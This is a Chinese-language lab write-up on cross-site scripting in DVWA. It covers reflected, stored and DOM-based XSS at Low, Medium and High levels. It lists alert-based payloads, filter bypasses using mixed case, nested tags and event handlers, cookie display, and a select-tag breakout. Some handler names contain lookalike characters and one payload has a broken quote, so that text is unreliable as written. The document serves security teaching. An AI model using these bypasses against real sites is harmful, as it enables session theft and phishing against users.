XSS(跨站脚本攻击)

  •  实验环境:DVWA

一、XSS攻击原理

XSS又叫CSS(Cross Site Scripting),即跨站脚本攻击。XSS是指攻击者在网页中嵌入客户端脚本,通常是JavaScript编写的恶意代码,当用户使用浏览器浏览被嵌入恶意代码的网页时,恶意代码将会在用户的浏览器上执行。XSS利用的是用户对网站的信任。

二、XSS类型

1.反射型XSS

反射型XSS也被称为非持久型XSS,只是简单的把用户输入的数据反射给浏览器,简单来说,黑客往往需要诱导用户点击一个恶意链接才能攻击成功。

2.存储型XSS

存储型XSS也被称为持久型XSS。当攻击者提交一段JS代码后,被服务器端接收并储存,当攻击者再次访问这个页面时,这段JS代码被程序读出来响应给浏览器。

3.DOM型XSS

DOM的全称为Document Object Model,即文档对象模型。通过修改页面的DOM节点形成的XSS,可存储型,也可反射型,只取决于输出地点。

三、应用场景

  1. 利用XSS获取cookie
  2. 重定向
  3. 钓鱼网站
  4. DDOS攻击

四、实验

反射型

  • Low级别:

1、查看源码,可以看到没有对参数做任何防御处理措施,直接输出:

XSS(跨站脚本攻击)

2、尝试一般的XSS攻击,利用burpsuite抓包,修改payload:

<script>alert("xss")</script>

XSS(跨站脚本攻击)

<body οnlοad=alert('xss2')>

XSS(跨站脚本攻击)

<a href='' οnclick=alert('xss3')>click1</a>

XSS(跨站脚本攻击)

XSS(跨站脚本攻击)

<img src=http://127.0.0.1/a.jpg οnerrοr=alert('xss4')>  #src地址错误,然后执行onerror的内容

XSS(跨站脚本攻击)

<script>alert(document.cookie)</script>

XSS(跨站脚本攻击)

 

  • Medium级别:

1、分析源码,可以看到使用str_replace函数只对参数进行了简单的替换,过滤<script>,别的没有过滤,此时可以用大小写或者别的标签来绕过.

XSS(跨站脚本攻击)

2、绕过防御

大小写绕过 <Script>alert('xxx')</script>

XSS(跨站脚本攻击)

组合过滤条件绕过 <scr<script>ipt>alert('sss')</script>

XSS(跨站脚本攻击)

尝试使用别的标签来绕过

<body οnlοad=alert('xss')>

<a href='' οnclick=alert('xss')>click</a>

<a href='' οnclick=alert(/xss/)>click</a>

XSS(跨站脚本攻击)

 XSS(跨站脚本攻击)

  • high级别

1、分析源码可以看到对<script>标签进行了严格的过滤,但没有过滤别的标签,此时可以通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码。

XSS(跨站脚本攻击)

2、尝试使用别的标签来绕过

<body οnlοad=alert('xss')>

<img src="" οnerrοr=alert('xss')>

<a href='' οnclick=alert('xss')>click</a>

<a href='' οnclick=alert(/xss/)>click</a>

XSS(跨站脚本攻击)

存储型

  • Low级别:

1、分析析源码,可以看到首先对两个参数使用trim函数过滤掉两边的空格,然后$message使用mysql_real_escape_string函数转义SQL语句中的特殊字符,使用stripslashes函数过滤掉”\”,对$name参数中使用mysql_real_escape_string函数转义SQL语句中的特殊字符。没有防御XSS漏洞,只防御了SQL注入漏洞。

XSS(跨站脚本攻击)

2、尝试一般的XSS攻击,在message栏中测试

<script>alert('xss')</script>

<body οnlοad=alert(xss')>

<a href=http://www.baidu.com>clock</a>

<a href='' οnclick=alert('xss')>click</a>

XSS(跨站脚本攻击)

  • Medium级别:

1、分析源代码,可以看到对$message参数做了很严格的过滤(进行html实体转义以及转义SQL语句中使用的特殊字符,杜绝了对$message关于xss的利用),但对$name参数做的过滤不严格,只是替换<script>以及转义SQL语句中使用的特殊字符,可以使用别的html标签对$name参数的防护进行绕过。

2、绕过

<Script>alert('x')</script>

<body οnlοad=alert('xss')>

<a href='' οnclick=alert('xss')>click</a>

XSS(跨站脚本攻击)

  • High级别:

1、分析源码,可以看到相比较中级而言,高级对$nam参数多了对<script>严格的过滤,没有对别的标签做过滤,但可以通过别的html标签来进行绕过。

XSS(跨站脚本攻击)

<body οnlοad=alert('xss')>

<a href='' οnclick=alert('xss')>click</a>

XSS(跨站脚本攻击)

DOM型

  • Low级别:

查看前端和服务器端没有任何代码过滤

XSS(跨站脚本攻击)

构造payload <script>alert('hack')</script>

XSS(跨站脚本攻击)

  • Medium级别:

查看源代码发现过滤了script

XSS(跨站脚本攻击)

构造攻击语句 </option></select><img src=1 οnerrοr=alert(/xss/)>

XSS(跨站脚本攻击)

  • High级别:

此处使用了白名单过滤,只允许传的default值为French、English、German、Spanish 其中一个。

XSS(跨站脚本攻击)

URL中#号之后的内容,不会被提交到服务器,可以直接与浏览器进行交互

构造payload #<script>alert('xss')</script>

XSS(跨站脚本攻击)